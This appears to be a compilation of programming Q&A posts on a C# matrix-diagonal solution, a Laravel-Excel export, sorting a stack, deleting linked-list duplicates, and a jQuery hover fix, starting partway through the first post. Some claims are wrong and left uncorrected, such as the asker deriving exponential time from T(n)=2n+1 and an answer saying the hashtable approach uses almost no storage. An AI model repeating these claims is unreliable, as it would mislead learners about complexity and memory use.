
Sample Output
15
Explanation
The primary diagonal is:
11
      5
            -12

Sum across the primary diagonal: 11 + 5 - 12 = 4
The secondary diagonal is:
            4
      5
10

Sum across the secondary diagonal: 4 + 5 + 10 = 19
Difference: |4 - 19| = 15
My Code
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
class Solution {
    static void Main(String[] args) {
        int n = Convert.ToInt32(Console.ReadLine());
        int[][] a = new int[n][];
        for(int a_i = 0; a_i < n; a_i++){
            string[] a_temp = Console.ReadLine().Split(' ');
            a[a_i] = Array.ConvertAll(a_temp,Int32.Parse);
        }
        int value = -1;

        IEnumerable<int> leftDiagonal=  a.Select((x) => x.ElementAt(value +1));
        int total1 = 0, total2=0;
        foreach (var b in leftDiagonal)
        {
            total1 += b;
            value++;
        }

        int value2 = a.Length;
        IEnumerable<int> ans2 = a.Select((x) => x.ElementAt(value2 - 1));
        foreach (var b1 in ans2)
        {
            total2 += b1;
            value2--;
        }
        Console.WriteLine(Math.Abs(total1 - total2));
    }
}

Final Statement

I'm looking for improvements in terms of syntax, style, alternatives, and performance . I'm aware of the naming convention but some of these were the pre-defined structure in Hackerrank
Using Linq this way is it an overkill for the small data?

This doesn't look very linq-ish and clean yet. You mixed the algorithm with console output. Everything inside a single method. That needs separation.

Start by creating two extension methods giving you the numbers for the calculations:

public static IEnumerable<T> PrimaryDiagonal<T>(this IEnumerable<T[]> values)
{
    return values.Select((x, i) => x[i]);
}

public static IEnumerable<T> SecondaryDiagonal<T>(this IEnumerable<T[]> values)
{
    return values.Reverse().Select((x, i) => x[i]);
}

Now you can calculate whatever you want:

var nums = new[]
{
    new [] { 11, 2, 4 },
    new [] { 4, 5, 6 },
    new [] { 10, 8, - 12 }
};

var primarySum = nums.PrimaryDiagonal().Sum();
var secondarySum = nums.SecondaryDiagonal().Sum();


Export an Excel file using Laravel-Excel I have this piece of code that is used to export an Excel file using Laravel-Excel. But I have doubts about it for the long run. Can the server handle it if there are a hundred requests?

<?php

namespace App\Exports;

use Maatwebsite\Excel\Concerns\FromCollection;
use Maatwebsite\Excel\Concerns\Exportable;
use Maatwebsite\Excel\Concerns\WithHeadings;
use Carbon\Carbon;
use Carbon\CarbonPeriod;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Arr;

class DailyGeneralSheetExport implements FromCollection, WithHeadings
{
    use Exportable;

    public function __construct(array $request, int $diid, int $igid, str $date)
    {
        $this->request = $request;
        $this->diid = $diid;
        $this->igid = $igid;
        $this->date = $date;
    }

    public function collection()
    {
        $dt = Carbon::parse($this->date);
        $endDt = Carbon::parse($this->date)->lastOfMonth();
        $period = CarbonPeriod::create($this->date, $endDt);
        $ipid = array_pluck($this->request, 'ip_id');
        $inidArr = array_pluck($this->request, 'in_id');
        $inid = array_unique($inidArr);
        $collection = [];
        foreach ($period as $key => $eachDate) {
            $reading = DB::table('instrument')
                    ->where('iv_inid', $inid)
                    ->whereIn('iv_ipid', $ipid)
                    ->whereDate('iv_date', $eachDate)
                    ->whereIn('iv_status', ['N', 'Y', 'A'])
                    ->orderBy('iv_date')->get()->toArray();
            $row = array($eachDate->format('d/m/Y'));
            foreach ($reading as $columnKey => $columnValue) {
                array_push($row, $columnValue->iv_reading);
            }
            array_push($collection, $row);
        }

        return collect($collection);
    }

    /**
     * @return array
     */
    public function headings(): array
    {
        $sheet_header = Arr::pluck($this->request, 'ip_label');

        return Arr::prepend($sheet_header, 'Date');
    }
}

As you can see I have to create an array for one month and this makes me worry if this will impact the performance. And for some reason, I feel I wrote code that is not elegant as Laravel does. How do I optimize it?

The code looks OK. You may want to move the query outside of the foreach loop and group the results afterwards. But the foreach loop is limited to the number of days in a month, so I don't think that will do very much. That may cause the application to use more memory.

Therefore, I advise testing if the performance is indeed an issue. If so you might want to delegate creating the export to a queue. Queues in Laravel are not hard to implement (surprise!)

Laravel Queues Documentation 7.x


Sorting a Stack in ascending order Here's my implementation of sorting a stack in ascending order. The problem statement is as follows :

  Write a program to sort a stack in ascending order (with biggest items on top).
  You may use at most one additional stack to hold items, but you may not copy
  the elements into any other data structure (such as an array). The stack supports
  the following operations: push, pop, peek, and isEmpty.

My Algorithm :
Take two stacks I'll call it myStack and helperStack.

If helper stack is empty, simply pop from myStack and push it to helperStack.
If top of helperStack is less than the top of myStack, then pop it from myStack and push it to helperStack. Recurse on two Stacks.
If top of helperStack is less greater than the top of myStack then, recursively pop from helperStack and push it to myStack until the condition is violated. Finally push it to the right position.
End if myStack isEmpty.

Code

static class Node{
    int data;
    Node next;

    Node(int data){
        this.data = data;
    }
}

static class Stack{
    Node top;
    String name;
    Stack nextStack;

    public boolean isEmpty(){
        return top==null;
    }

    Stack(String name){
        this.name = name;
    }

    public int pushTo(Stack anotherStack){
        int popped = this.pop();
        anotherStack.push(popped);
        return popped;
    }

    public void _push(int data){
        System.out.println("Pushing : " + data + " to " + this.name);
        if(top==null){
            top = new Node(data);
        }else{
            Node temp = new Node(data);
            temp.next = top;
            top = temp;
        }

    }

    public void push(int... data){
        for(int i : data){
            this._push(i);
        }
    }

    public int pop(){
        if(top==null){
            System.out.println("Error : Stack is empty!!");
            return -1;
        }
        System.out.println("Popping " + top.data + " from " + this.name);
        Node toRet = top;
        top = top.next;
        return toRet.data;
    }

    public int peek(){
        return top.data;
    }

    public void printStack(){
        Node temp = top;
        while(temp.next!=null){
            System.out.print(temp.data + "->");
            temp = temp.next;
        }
        System.out.println(temp.data);
    }

}//End of Class Stack

public static void sortStack(Stack myStack, Stack helperStack, int curr){
    if(myStack.isEmpty()){
        return;
    }
    if(curr==-1)
        curr = myStack.pop();
    if(helperStack.isEmpty() || curr > helperStack.peek()){
        helperStack.push(curr);
        sortStack(myStack, helperStack, -1);
    }else{
        helperStack.pushTo(myStack);
        sortStack(myStack, helperStack, curr);
    }
}

public static void main(String[] args) {
    Stack someStack = new Stack("someStack");
    Stack helperStack = new Stack("helperStack");
    someStack.push(1,2,3, 200, 4, 22);
    someStack.printStack();
    sortStack(someStack, helperStack, -1);
    helperStack.printStack();
}

Analysis

In worst case , the number of steps executed : n (for popping it out from helperStack) + 1 (pushing the current element at right place) + n (for popping elements out from myStack).
So,
T(n) = 2n + 1

Solving this recurrence, I get a complexity of \$\theta\$(\$2^n\$)
Hence, the algorithm runs in exponential time. Is there any way I could make it faster without violating the condition?

Feel free to suggest and criticize :)

public void _push(int data){

You've named a function in a way that suggests it shouldn't be used, but keep it public then support it via push(int... anyway.

There's no need to name your functions something different here; Java can do overloading just fine. If you name your function push, java knows when it needs to call push(int data) or push(int... data).

public int peek(){
    return top.data;
}

Your peek function causes a NullPointerException if the stack is empty. Consider returning -1 as well, since that's the value you use for "there was no data".


Delete duplicates in a linked List I am reading Cracking the Code Interview and I am getting a bit confused at the bit using 'previous'. In this problem, the method deletes duplicate nodes in a Linked List.

My assumption is that head is used to scan through the linked list while previous is used to update the linked list head because previous points to the same linked list. Not sure if my assumption is correct. Could someone verify this please?

Perhaps someone could also provide a method of increasing the efficiency or space of this program? I would love your input!

public static void deleteDups1(LinkedListNode head) {
    Hashtable<Integer, Boolean> table = new Hashtable<Integer, Boolean>();
    LinkedListNode previous = null;
    while(head != null) {
        if (table.containsKey(head.value)) previous.next = head.next;
        else {
            table.put(head.value, true);
            previous = head;
        }
        head = head.next;
    }
}

You are right about head, it is used to move through the list. previous is a temporary pointer that is needed to perform the delete. You need it because the delete process means taking the next value of the Node to the left, and making it 'skip' the deleted Node and point over to the right of the deleted Node.

The list is linked by each Node having a next pointer. It would look something like:

A -> B -> A -> C -> D ->

Here the first A points to B, which points to a different A, which points to C, and so on.

You would call your method with the pointer to the first A as the argument head. There is no previous ....

So your system starts off looking like:

     A -> B -> A -> C -> D ->
^    ^
P    H

Where H is the Head pointer, and P is the previous.

We add the value A to the HashMap, and advance our pointers:

    A -> B -> A -> C -> D ->
    ^    ^
    P    H

B is not in the HashMap, so move on....

    A -> B -> A -> C -> D ->
         ^    ^
         P    H

A is in the HashMap, so we have a duplicate. This is where P comes in to play....

We make the B (pointed to by previous) point to C....

    A -> B  --->  C -> D ->
         ^      /
         |    A
         |    ^
         P    H

We do that by making the previous's next point to the head's next. We now have a kind of 'fork' in the list, with the second A dangling part way through....

We have now removed the A from the main link chain, and we need to advance the head pointer to C.... Sunce Nothing is pointing to the second A now, it can be garbage collected, etc... and the final result looks like:

    A -> B  --->  C -> D ->
         ^        ^
         P        H

Now, about your other questions.....

This operation is about as fast as it can get. Not much you can do to improve performance.

Additionally, the operation essentially uses no stoage (there is some stack amount, but this is peanuts in the scheme of things....

If this list is able to cover your use cases, then I would say "Great, use it".


Show/hide image in each list individually with same class I have a list of images that are used as links and at the bottom of each image there is another image to show/hide. So far all the images show at the same time because they have the same class.

Is there any way to get around that? I don't know how to give them all the unique ID.

 Click Picture for Family page

JavaScript:

$('.name').hide();

$(".first").hover(function() {
    $(".name").stop().show();

}, function() {
    $(".name").stop().hide();
});

You need to find the .name item that is in the same block of HTML as the one being hovered.  One way to do that is to go up the parent chain from the one begin hovered to get the li tag and then use .find() from thereto find that .name item in that block.  You can use this code to do that:

$('.name').hide();

$(".first").hover(function() {
    $(this).closest("li").find(".name").stop(true).show();
}, function() {
    $(this).closest("li").find(".name").stop(true).hide();
});